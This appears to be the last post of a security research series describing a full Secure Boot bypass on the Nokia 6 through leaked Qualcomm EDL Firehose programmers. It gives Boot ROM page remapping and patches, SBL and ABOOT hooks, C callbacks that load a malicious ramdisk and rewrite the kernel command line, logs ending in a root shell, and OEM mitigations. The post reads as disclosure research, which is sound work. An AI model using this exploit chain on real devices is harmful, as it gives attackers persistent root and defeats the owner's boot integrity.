In the previous parts we presented our exploit which abuses the peek
and poke
‘features’ of the Qualcomm EDL Firehose programmers. We then described our debugger, and also showed how we managed to extract the Boot ROM of select MSM SoCs.
In this post we show our complete Secure Boot bypass exploit against Nokia 6 MSM8937
(should work on Nokia 5 as well, although unverified), that takes advantage of the above capabilities. We argue that a similar exploit could theoretically work on other MSM8937
devices, and may be extended to other MSM chipsets, at least for those we gained code execution in EL3
. Despite that, future research is required to overcome some technical challenges presented in the last section of this post.
Unfortunately, one can cause Nokia 6’s (and maybe Nokia 5’s) SBL to reboot into EDL, by using a custom USB cable (see Part 1) - ALEPH-2017029. This allows for the following worrying attack to be conducted by malicious chargers – the only requirement is a powered-off device to be connected. Otherwise, the charger can just wait for the battery to completely drain.
When we saw that our code, in some chipsets, executes in EL3
, we realized that we could theoretically implement the SBL’s functionality, and load the rest of the bootloader chain, breaking secure boot.
While this may work, it requires much effort, so we quickly figured we could theoretically conduct a different attack – what if we jumped to the PBL from the Firehose programmer itself? Could we circumvent the PBL the skip the verification of the SBL, which will skip the verification of ABOOT, TrustZone and so forth, using our debugger?
[Primary Bootloader (PBL)]
|
`---EDL---.
[Programmer (Firehose)]
|
`- Debugger (firehorse)
| `.
|--> [Primary Bootloader (PBL)]
| `.
|--> [Secondary Bootloader (SBL)]
| |-.
|--> | [Android Bootloader (ABOOT)]
| | `-.
| | [boot.img]
|--> | - Linux Kernel
|--> | - initramfs
| | `-.
| | [system.img]
| |
`--> `-[TrustZone]
In Nokia 6, simply branching to address 0x100000
(the PBL reset vector), resulted in a warm boot:
> firehorse.py -t nokia6 fw exec 0x100000
Format: Log Type - Time(microsec) - Message - Optional Info
Log Type: B - Since Boot(Power On Reset), D - Delta, S - Statistic
S - QC_IMAGE_VERSION_STRING=BOOT.BF.3.3-00193
S - IMAGE_VARIANT_STRING=FAASANAZA
S - OEM_IMAGE_VERSION_STRING=cm-build-c14
S - Boot Config, 0x000000e1
B - 6962630 - PBL, Start
B - 6964598 - bootable_media_detect_entry, Start
B - 6995441 - bootable_media_detect_success, Start
B - 6995447 - elf_loader_entry, Start
B - 6998124 - auth_hash_seg_entry, Start
B - 7012013 - auth_hash_seg_exit, Start
B - 7040491 - elf_segs_hash_verify_entry, Start
B - 7140491 - PBL, End
[...]
Android Bootloader - UART_DM Initialized!!!
[0] welcome to lk
[10] platform_init()
[10] target_init()
[30] SDHC Running in HS400 mode
[30] Done initialization of the card
[40] pm8x41_get_is_cold_boot: Warm boot
[40] Qseecom Init Done in Appsbl
[...]
This is a very significant result because it means that we could theoretically execute the PBL, and the rest of the chain, while our debugger is up & running.
In order to make the PBL skip the verification of the SBL, we must place patches on the PBL, i.e. on the Boot ROM itself. By definition, this is not possible. What we found, however, is that we can remap individual page table entries such that virtual addresses belonging to the Boot ROM area now point at writable physical locations (IMEM). Before we remap, we copy the content of such pages, and then place the actual patches on the copied data.
Before the attack:
Virtual Address | Physical Address | Memory Type | Access | Content |
---|---|---|---|---|
0x100000 | 0x100000 | ROM | R-X | PBL (Boot ROM) |
0x8080000 | 0x8080000 | IMEM | RWX | - |
After page remapping, cloning & patching:
Virtual Address | Physical Address | Memory Type | Access | Content |
---|---|---|---|---|
<unmapped> | 0x100000 | ROM | R-X | PBL (Boot ROM) |
0x100000 | 0x8080000 | IMEM | RWX | Patched PBL Clone |
0x8080000 | 0x8080000 | IMEM | RWX | Patched PBL Clone |
While this sounds like a neat idea, it suffers from a major drawback. The MMU must stay alive during the execution of the PBL. Unfortunately, this is not the case, since the PBL resets the MMU. In addition, the PBL resets the VBAR
registers, causing debugger to detach.
To bypass the first problem, we can simply patch the MMU resetting code, where the second, can be tackled by patching the PBL error handler, that gets called by all of the exception handlers of the PBL.
As a reminder from Part 1, the reset handler (address 0x100094
) of the PBL roughly looks as follows:
int init()
{
int (__fastcall *v5)(pbl_struct *); // r1
__mcr(15, 0, 0x100000u, 12, 0, 0);
if ( !(MEMORY[0x1940000] & 1) )
{
if ( !reset_MMU_and_other_stuff() )
infinite_loop();
memzero_some_address();
timer_memory_stuff();
init_pblStruct();
v4 = 0;
while ( 1 )
{
v5 = *(&initCallbacks + v4);
if ( v5 )
v3 = v5(&pbl);
if ( v3 )
pbl_error_handler("./apps/pbl_mc.c", 516, 66304, v3);
if ( ++v4 >= 0x14 )
{
while ( 1 )
;
}
}
}
}
We can see that this function, resets the MMU and some other system registers, in a function located at 0x110004
, which we will get to soon.
It also iterates over a vector of routines (initVector
), located at 0x10CE0C
:
ROM:0010CE0C initVector
ROM:0010CE0C
ROM:0010CE0C
ROM:0010CE10 DCD 0
ROM:0010CE14 DCD pbl_hw_init
ROM:0010CE18 DCD 0
ROM:0010CE1C DCD pbl_initialize_pagetables
ROM:0010CE20 DCD 0
ROM:0010CE24 DCD pbl_stack_init
ROM:0010CE28 DCD 0
ROM:0010CE2C DCD pbl_copy_some_data
ROM:0010CE30 DCD 0
ROM:0010CE34 DCD pbl_sense_jtag_test_points_edl
ROM:0010CE38 DCD 0
ROM:0010CE3C DCD pbl_flash_init
ROM:0010CE40 DCD 0
ROM:0010CE44 DCD pbl_load_elf_sahara_stuff
ROM:0010CE48 DCD 0
ROM:0010CE4C DCD pbl_mc_init5
ROM:0010CE50 DCD 0
ROM:0010CE54 DCD pbl_jmp_to_sbl
ROM:0010CE58 DCD 0```
Given this high-level overview of the PBL, we will be able to pinpoint the locations of our needed patches. But first, we must re-attach our debugger!
Reading some PBL code quickly reveals that all of the PBL abort handlers (including the undefined instruction handler) flow into a function located at 0x103e8c
, which we coined pbl_error_handler
. Therefore, to re-attach our debugger, we simply hooked that function’s prologue.
After re-attaching our debugger, we could use its function tracing functionality in order to place breakpoints at various addresses, and see where we lose our control (i.e. where the MMU is disabled and such).
Controlling the MMU is done by the System Control Register (SCTLR
) whose LSB enables/disables the MMU. Combining our debug tracing functionality with some static matching (e.g. MCR.+p15.+c1.+c0
) quickly revealed the following function (which is a descendant of reset_MMU_and_other_stuff
):
ROM:00110004 do_some_system_control
ROM:00110004 STMFD SP!, {LR} ; Store Block to Memory
ROM:00110008 MOV R0, #1 ; Rd = Op2
ROM:0011000C MCR p15, 0, R0,c3,c0, 0 ; dacr - set as client for domain 0
ROM:00110010 MRC p15, 0, R0,c1,c0, 0 ; system control register
ROM:00110014 BIC R0, R0, #1 ; Rd = Op1 & ~Op2
ROM:00110018 MCR p15, 0, R0,c1,c0, 0 ; system control register - DISABLES MMU
ROM:0011001C MRC p15, 0, R0,c1,c0, 0 ; system control register
ROM:00110020 BIC R0, R0, #0x1000 ; Rd = Op1 & ~Op2
ROM:00110024 BIC R0, R0, #4 ; Rd = Op1 & ~Op2
....
Naturally, the MMU disablement can be removed by replacing the instruction at 0x110014
with NOP
. This will ensure the LSB of SCTLR
remains intact (i.e. enabled).
After placing this NOP
, our debugger should survive throughout the execution of the PBL, until it jumps to SBL. Not so fast… We soon discovered, that one of the initVector
routines (later given its describing name - pbl_initialize_pagetables
) is in charge of initializing the page tables. We therefore simply replaced this initialization with NOPs
. That worked because the page tables of the programmer are probably a superset of the page tables that are needed by the operation of the PBL, constructed by the very same code…
Another patch that was placed was elevating all of the domains to ‘manager’. We did so by replacing the instruction located at 0x110008
with MOV R0, #0xFFFFFFFF
. That ensured that we would not tackle any data / instruction fetch aborts.
Jumping to the patched-PBL at this stage did not reach the SBL. Using our debugger functionality, we soon discovered that the PBL fails at some function located at 0x103320
, or more high-level, in pbl_auth.c
line 151
.
int __fastcall pbl_auth(__int64 a1, int a2)
{
[...]
v8 = _inner_pbl_auth(0, &v11, &dword_800351C, &dword_80040C0);
if ( v8 )
pbl_error_handler("./apps/pbl_auth.c", 151, v8 | 0xA0000, dword_80040C0);
[...]
}
Since we did not modify any SBL code at this stage, it seems that our exploit code had some side-effect over that function. Despite that, overcoming this last PBL obstacle is quite easy – we reversed the check on v8
.
Having our debugger attached in the PBL context allowed us to easily patch the SBL in runtime. By doing so we managed to escape the tedious task of reverse engineering the PBL verification of the SBL code (which goes beyond what described above), and place patches on the SBL, after it has been verified and just before its execution.
We do so by setting a breakpoint with a callback right before the PBL jumps to the SBL (the pbl_jmp_to_sbl
routine). Our callback is then executed in the context of the pbl_jmp_to_sbl
and patches the already-validated SBL.
The patches we place on the SBL make sure our debugger stays alive after the PBL to SBL transition.
The SBL sets the VBAR
register in its reset handler:
LOAD:08006730 entry
LOAD:08006730
LOAD:08006730 ; FUNCTION CHUNK AT LOAD:080068A8 SIZE 00000004 BYTES
LOAD:08006730
LOAD:08006730 MSR CPSR_c, #0xD3
LOAD:08006734 MOV R7, R0
LOAD:08006738 LDR R0, =0x8005000
LOAD:0800673C MCR p15, 0, R0,c12,c0, 0
[...]
Therefore, in order for our debugger to still be able to catch undefined instruction exceptions, we patch the new handlers pointed by the SBL vector table located at 0x8005000
.
The SBL is in charge of loading, verifying and executing the next bootloader in the chain - ABOOT, so similarly to the technique we used before, in order to patch ABOOT, we place a breakpoint after it has already been loaded and validated by the SBL. More concretely, at the prologue of the function located at 0x0803E220
.
Our breakpoint’s callback can now patch ABOOT, without caring about the fine details of the ABOOT verification by the SBL. In order to avoid been overidden by ABOOT, our ABOOT patcher copies and rebases our exploit code into a different, “safe” address. Similarly to the SBL, ABOOT also changes VBAR
, so we also re-attach our debugger by hooking the undefined instruction exception handler.
The callback can now place breakpoints (described next) on ABOOT, which will get hit during ABOOT’s execution.
SBL then executes ABOOT, with our debugging code attached.
The goal of our exploit code is to be able to patch the Linux kernel, and load an alternate ramdisk
, giving us unrestricted root (i.e. with permissive SELinux) access through adb.
To do so, we place 3 breakpoints:
ramdisk
from an unused (or non-mandatory) partition (logdump
) in the EMMC into the DDR.
In order to write our ramdisk
in the unused partition, we abuse the Firehose flashing functionality as a preliminary step prior to the execution of our exploit. The DDR destination we used is an offset into the ABOOT scratch base, returned by get_scratch_address
. In order to avoid implementing our own EMMC reader, we simply call the ABOOT implemented one. Our callback’s C code is as simple as that:void cb_mmcread()
{
int logdump = partition_get_index("logdump");
unsigned long long logdumpoffset = partition_get_offset(logdump);
int logdumplun = partition_get_lun(logdumpoffset);
u_int32 scratch = get_scratch_address();
mmc_set_lun(logdumplun);
int blocksize = mmc_get_device_blocksize();
u_int32 ramdisksize = RAMDISK_SIZE + (blocksize - mod(RAMDISK_SIZE, blocksize));
mmc_read(logdumpoffset, ADDR_SCRATCH_RAMDISK, ramdisksize);
}
0x8F6178F8
, just before Linux is jumped to (through the monitor), hence the boot image at this stage has already been verified by ABOOT.LOAD:8F6178E0 MOV R3, #(dword_8F6DC404+0xBFC)
LOAD:8F6178E8 STRD R0, [R3,#0x48]
LOAD:8F6178EC MOV R0, #aJumpingToKerne ; "Jumping to kernel via monitor\n"
LOAD:8F6178F4 BL dprint
LOAD:8F6178F8 BL sub_8F616B90
LOAD:8F6178FC MOV R3, R0
This breakpoint’s callback copies our DDR-residing malicious ramdisk from the scratch area to the one expected to be loaded by the Linux kernel. This is also the point where we patch the Linux kernel.
void cb_before_linux()
{
patch_kernel();
memcpy(ADDR_RAMDISK, ADDR_SCRATCH_RAMDISK, RAMDISK_SIZE);
}
ramdisk
, we need to adjust its size accordingly. To do so, we place another breakpoint at the function (0x8F635078
) that is in charge of constructing the DTB and Kernel command-line (which allows us to mess with the cmdline too!). Our callback is printed below. Notice that the debugging framework makes it much convenient to modify specific registers before returning from a breakpoint. We use it here to both read and modify the cmdline in runtime (pointed by R7
), and change the passed ramdisk
size argument (through R5
) to the DTB construction routine.void cb_bootlinux(cbargs *cb)
{
char *cmdline = cb->regs[R7];
char buf[]= "console=ttyHSL0,115200,n8 androidboot.console=ttyHSL0 androidboot.hardware=qcom msm_rtb.filter=0x237 ehci-hcd.park=3 lpm_levels.sleep_disabled=1 androidboot.bootdevice=7824900.sdhci loglevel=7 buildvariant=user";
D("Setting ramdisk size to %d", RAMDISK_SIZE);
cb->regs[R5] = RAMDISK_SIZE;
D("Printing cmdline from %08x", cmdline);
D("cmdline = %s", cmdline);
memcpy(cmdline, buf, sizeof(buf));
}
This is it! ABOOT will now continue to load Linux/Android with our patches and modified ramdisk.
To conclude, we managed to execute code in each part of the secure boot chain, from the PBL to Android itself, through the SBL and ABOOT and even TrustZone. Each step enabled the execution of our malicious code in the next one.
The following UART log shows the execution of our exploit:
Firehose context:
B - 33643360 - PBL patcher called!
B - 33643360 - pagecopy: number of pages: 5
B - 33644123 - src: 00110000 dst:08090000
B - 33648637 - src: 00100000 dst:08080000
B - 33652510 - src: 00103000 dst:08083000
B - 33656414 - src: 00104000 dst:08084000
B - 33660288 - src: 00105000 dst:08085000
B - 33664192 - pagecopy: done with 5 pages
B - 33667638 - number of pages: 5
B - 33670810 - src: 00110000 dst:08090000
B - 33674714 - src: 00100000 dst:08080000
B - 33678588 - src: 00103000 dst:08083000
B - 33682492 - src: 00104000 dst:08084000
B - 33686396 - src: 00105000 dst:08085000
B - 33690300 - done with 5 pages
B - 33693289 - number of breakpoints: 6
B - 33697010 - &fh->bps = 00000000080d0009
B - 33700914 - Reading patchlen @ 00000000080d0005 = 0000006b
B - 33706526 - firehorse getcontext end. fh = 080d0000
B - 33711467 - Installing bp for va 0x0010527c
B - 33715615 - Installing bp for va 0x00104130
B - 33719885 - PBL patcher called done!
PBL context:
B - 33944944 - SAVED SP = 00205400
B - 33944975 - fixedlr (entry): 0010527c thumb: 0
B - 33946286 - ./apps/pbl_error_handler.c-1b1-pbl_sense_jtag
B - 33951898 - r00 0021863c r01 0010527c r02 00000000 r03 00000000
B - 33957693 - r04 0000000a r05 00000000 r06 0010ce0c r07 00000000
B - 33963854 - r08 00000000 r09 00000000 r10 00000000 r11 00000000
B - 33969680 - r12 00000001 sp 00205400 lr 00105280
B - 33974743 - spsr 200000d3 cpsr 800000db dfar d44b8987 ifar 39e1aeb1
B - 33981087 - dfsr e08d6018 ifsr 00001411 dacr ffffffff
B - 33986150 - bkva: 0010527c bkinst: e92d4070
B - 33990389 - Calling callback(10) - 080b0048
SBL context:
S - QC_IMAGE_VERSION_STRING=BOOT.BF.3.3-00193
S - IMAGE_VARIANT_STRING=FAASANAZA
S - OEM_IMAGE_VERSION_STRING=cm-build-c14
S - Boot Config, 0x000000e1
B - 33957704 - foo
B - 34007638 - bootable_media_detect_entry, Start
B - 34038354 - bootable_media_detect_success, Start
B - 34038358 - elf_loader_entry, Start
B - 34039841 - auth_hash_seg_entry, Start
B - 34053641 - auth_hash_seg_exit, Start
B - 34081876 - elf_segs_hash_verify_entry, Start
B - 34180909 - PBL, End
B - 34167869 - SBL1, Start
B - 34207458 - pm_device_init, Start
B - 34212795 - PON REASON:PM0:0x20020 PM1:0x20020
D - 25650 - pm_device_init, Delta
B - 34237226 - boot_flash_init, Start
[...]
B - 34536705 - SAVED SP = 0805e000
B - 34539969 - fixedlr (entry): 0803e220 thumb: 1
B - 34544513 - AAA-3000-SBLEnd
B - 34547350 - r00 000002fa r01 00000000 r02 00000010 r03 0000001b
B - 34553419 - r04 00223b28 r05 0806ba90 r06 00000000 r07 080609e8
B - 34559214 - r08 66a6b04d r09 020dff3c r10 01000001 r11 00000000
B - 34565375 - r12 078b0000 sp 0805e000 lr 0803e222
B - 34570164 - spsr 000000f3 cpsr 800000db dfar d44b8987 ifar 39e1aeb1
B - 34576599 - dfsr e08d6018 ifsr 00001411 dacr 55555555
B - 34581693 - bkva: 0803e220 bkinst: a00eb510
B - 34585841 - Calling callback(11) - 080b004c
B - 34590111 - FOOBAR
B - 34597858 - SBL1, End
D - 429989 - SBL1, Delta
S - Flash Throughput, 28000 KB/s (2604504 Bytes, 91827 us)
S - DDR Frequency, 806 MHz
S - Core 0 Frequency, 800 MHz
ABOOT context:
Android Bootloader - UART_DM Initialized!!!
[0] welcome to foo
[10] platform_init()
[...]
[6260] SAVED SP = 8f6d8400
[6260] fixedlr (entry): 8f633754 thumb: 0
[6260] AAA-4000-mmcread
[6270] r00 a3000000 r01 018aa000 r02 00000053 r03 00000053
[6270] r04 8f6e7e04 r05 8f6cac4c r06 8f6e75e0 r07 a3000000
[6280] r08 8f6cac4c r09 8f6e63c0 r10 8f66ddac r11 a3000000
[6280] r12 8f6e7e04 sp 8f6d8400 lr 8f633758
[6290] spsr 60000153 cpsr 300001db dfar 00000000 ifar 00000000
[6290] dfsr 00000000 ifsr 00000021 dacr 00000001
[6300] bkva: 8f633754 bkinst: e30b066c
[6300] Calling callback(22) - 8f900078
[6300] blocksize = 0x00000200
[6310] copying our ramdisk...
[6320] fixed lr=8f633754, reproduced instruction: e30b066c
[6320] Authenticating boot image (25862144): start
[...]
[7780] SAVED SP = 018aa000
[7780] fixedlr (entry): 8f635078 thumb: 0
[7780] AAA-4000-bootlinux
[7780] r00 10080000 r01 00000053 r02 8f6e5400 r03 00000000
[7790] r04 8f6e7e04 r05 001ea8f9 r06 13600000 r07 8f6e5400
[7790] r08 13400000 r09 018ee7ff r10 a48aa800 r11 10080000
[7800] r12 001ea8f9 sp 018aa000 lr 8f63507c
[7800] spsr 60000153 cpsr 300001db dfar 00000000 ifar 00000000
[7810] dfsr 00000000 ifsr 00000021 dacr ffffffff
[7810] bkva: 8f635078 bkinst: ebff3bab
[7820] Calling callback(23) - 8f90007c
[7820] Setting ramdisk size to 2016526
[7820] Printing cmdline from 8f6e5400
[7830] cmdline = console=null androidboot.console=ttyHSL0 androidboot.hardware=qcom msm_rtb.filter=0x237 ehci-hcd.park=3 lpm_levels.sleep_disabled=1 androidboot.bootdevice=7824900.sdhci earlycon=null loglevel=0 buildvariant=user
[7850] fixed lr=8f635078, reproduced instruction: ebff3bab
[...]
[7980] booting linux @ 0x10080000, ramdisk @ 0x13600000 (2016526), tags/device tree @ 0x13400000
[7980] Jumping to kernel via monitor
[7980] SAVED SP = 00000053
[7980] fixedlr (entry): 8f6178f8 thumb: 0
[7980] AAA-4000-beforelinux
[7980] r00 0000001e r01 8f6ffc02 r02 00000053 r03 00000053
[7980] r04 8f635590 r05 8f6e5400 r06 10080000 r07 8f6e7e04
[7980] r08 13400000 r09 018ee7ff r10 a48aa800 r11 8f6ffec4
[7980] r12 c3a620df sp 00000053 lr 8f6178fc
[7980] spsr 600001d3 cpsr 300001db dfar 00000000 ifar 00000000
[7980] dfsr 00000000 ifsr 00000021 dacr ffffffff
[7980] bkva: 8f6178f8 bkinst: ebfffca4
[7980] Calling callback(16) - 8f900060
[7980] fixed lr=8f6178f8, reproduced instruction: ebfffca4
ADB shell:
$ adb shell
D1C:/ # id
uid=0(root) gid=0(root) groups=0(root) context=u:r:shell:s0
D1C:/ # getenforce
Permissive
D1C:/ #
In addition to Nokia 6, we attempted to conduct a similar attack on other devices too. As for other devices with aarch32
programmers, we tried to perform the attack on Xiaomi Note 5A ugglite
. However, although we managed to patch & jump to the PBL in a similar manner, its PBL failed to initialize the flash (due to an unknown reason).
The PBL flash initialization routine is pbl_flash_init
, presented in Part 1:
int __fastcall pbl_flash_init(pbl_struct *pbl)
{
[...]
v3 = pbl->bootmode;
if ( v3 == edl )
{
if ( some_sahara_stuff(v1) )
goto LABEL_13;
goto LABEL_14;
}
[...]
v2 = pbl_flash_sdcc(pbl); // v3 = 0
if ( v2 != 3 && some_sahara_stuff(pbl) )
LABEL_13:
pbl_error_handler("./apps/pbl_flash.c", 134, 66048, v2);
LABEL_14:
if ( !flashStructLocation )
pbl_error_handler("./apps/pbl_flash.c", 138, 66304, 0);
[...]
return 0;
}
By tracing this code we realized that, in contrast to the Nokia 6 case, pbl_flash_sdcc
fails – it will retry several dozens times until finally giving up. This routine, according to Part 1, instructs the PBL to go into EDL instead of loading the SBL from flash.
We also tried to take a different approach, and exploit the fact that the Xiaomi Note 5A’s Firehose programmer seems to be an SBL, with an addition (firehose_main
) to its initialization vector that never returns – so instead of jumping to the PBL, could we make the programmer load the rest of the chain?
Recall from Part 1, during the SBL/Firehose initialization, ImageLoad
walks over a vector of routines:
LOAD:0805C0C8 callbacks DCD nullsub_35+1
LOAD:0805C0CC DCD boot_flash_init+1
LOAD:0805C0D0 DCD sub_801ACB0+1
LOAD:0805C0D4 DCD sub_804031C+1
LOAD:0805C0D8 DCD sub_803FF08+1
LOAD:0805C0DC DCD sub_803FCD0+1
LOAD:0805C0E0 DCD firehose_main+1
LOAD:0805C0E4 DCD sub_8040954+1
LOAD:0805C0E8 DCD clock_init_start+1
LOAD:0805C0EC DCD sub_801B1AC+1
LOAD:0805C0F0 DCD boot_dload+1
int __fastcall ImageLoad(sbl_struct *sbl, image_load_struct *aImageLoad)
{
[...]
loop_callbacks(sbl, aImageLoad->callbacks);
[...]
if ( imageLoad->field_14 == 1 )
{
v5 = sub_801CCDC();
uartB("Image Load, Start");
v8 = imageLoad->field_C;
if ( v8 == 1 )
{
if ( !boot_pbl_is_flash() )
{
[...]
ERROR("sbl1_sahara.c", 816, 0x1000064);
while ( 1 )
;
}
[...]
boot_elf_loader(v9, &v27);
[...]
loop_callbacks(sbl, imageLoad->callbacks2);
[...]
return result;
}
The idea was to set the firehose_main
to a nullsub
, similarly to the actual SBL, and call ImageLoad
once again. Our hope was that it would then act just as a normal SBL. Doing so naively is doomed to fail, because the SBL expects a data structure from the PBL (pbl2sbl_data
), which has different data when it loads the Firehose programmer instead of the SBL – for instance, the flash is marked as uninitialized. So what we did, and this was where the research stopped, was to use the fact the Note 5A and Nokia 6 share the same PBL, and use the provided structures of the former, which we can collect in runtime using the debugger, and then set them accordingly (before we call ImageLoad
with the fixed callbacks
vector):
pbl2sbl_data:
08003100: 00 00 01 00 00 00 10 10 03 00 00 00 00 00 00 00 | ................ |
08003110: 00 00 00 00 00 00 20 00 00 50 00 00 00 30 00 08 | ...... ..P...0.. |
08003120: 00 30 00 00 00 30 00 08 b0 04 00 00 78 30 00 08 | .0...0......x0.. |
flash:
08003078: 05 00 00 00 00 40 82 07 08 00 00 00 04 00 00 00 | .....@▒......... |
08003088: 00 02 00 00 09 00 00 00 01 00 00 00 04 00 00 00 | ................ |
08003098: 00 e0 a3 03 06 00 00 00 05 00 00 00 02 00 00 00 | ................ |
080030a8: 01 00 00 00 00 00 00 00 38 00 00 00 02 00 00 00 | ........8....... |
080030b8: 01 00 00 00 01 00 00 00 10 00 06 00 00 00 00 00 | ................ |
080030c8: 0f 04 06 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ |
080030d8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ |
080030e8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ |
080030f8: 00 00 00 00 00 00 00 00 00 00 01 00 00 00 10 10 | ................ |
Sadly, while the initialization vector completed, we were still left with an uninitialized flash, which caused the following routine to go into the error condition:
void *__fastcall inside_boot_elf_loader(int val, int a2)
{
[...]
v3 = boot_flash_dev();
(*(*(v3 + 4) + 0x28))(v2);
if ( !off_805CC8C )
{
v4 = boot_flash_dev();
off_805CC8C = (**(v4 + 4))(0x1B);
}
if ( !off_805CC8C )
{
ERROR("boot_elf_loader.c", 1041, 0x1000001);
while (1);
}
[...]
}
Despite that, we are still optimistic that such an attack is possible on other devices too, considering the privilege level we gained on the aarch32
programmers, and given the fact that the programmers actually talk with the SDCC. The next option we are looking at is writing our own ELF loader. Then we will hopefully be able load the needed images ourselves (not necessarily from flash). That is of course not guaranteed to work, as we do not gain code execution in an uninitialized state.
As for aarch64
, jumping to the PBL requires to be able to go back into aarch32
without lowering the privilege level – impossible according to the ARMv8 specification. Despite that, one may still request a warm reset using the RMR_EL3
register. (This is only partially applicable as some aarch64
programmers end in EL1
.) Hoping that the MMU will stay alive (which we require for the PBL patching) while that happens is far-fetched, however, such a warm reset request did not work anyway. Another option is to request a warm reset from the PMIC (again while keeping the MMU on), a direction we are still investigating, without any positive result yet. In addition, similarly to aarch32
, we are also looking into writing our own ELF loader within the aarch64
programmer.
In this series of blog posts we presented our research into Qualcomm Firehose programmers, that led to significant results such as our research & exploitation framework, extraction and analysis of PBLs, and a complete Secure Boot attack against our Nokia 6 device.
We feel that the problem of Firehose programmers is two-fold. First, there is an operational problem – these programmers MUST NOT get out of the OEMs’ premises. Second, the capabilities Firehose programmers have should be reduced. For example, there is absolutely no reason to have the peek
& poke
primitives implemented. (which according to Qualcomm, by the way, are OEM additions).
As for the mitigation, OEMs should block the leaked programmers from loading. This can be done using hardware fuses as documented by Qualcomm. In addition, OEMs should do their best to block access to EDL, by removing the risky usermode / hardware triggers (e.g. adb reboot edl
and custom USB cables).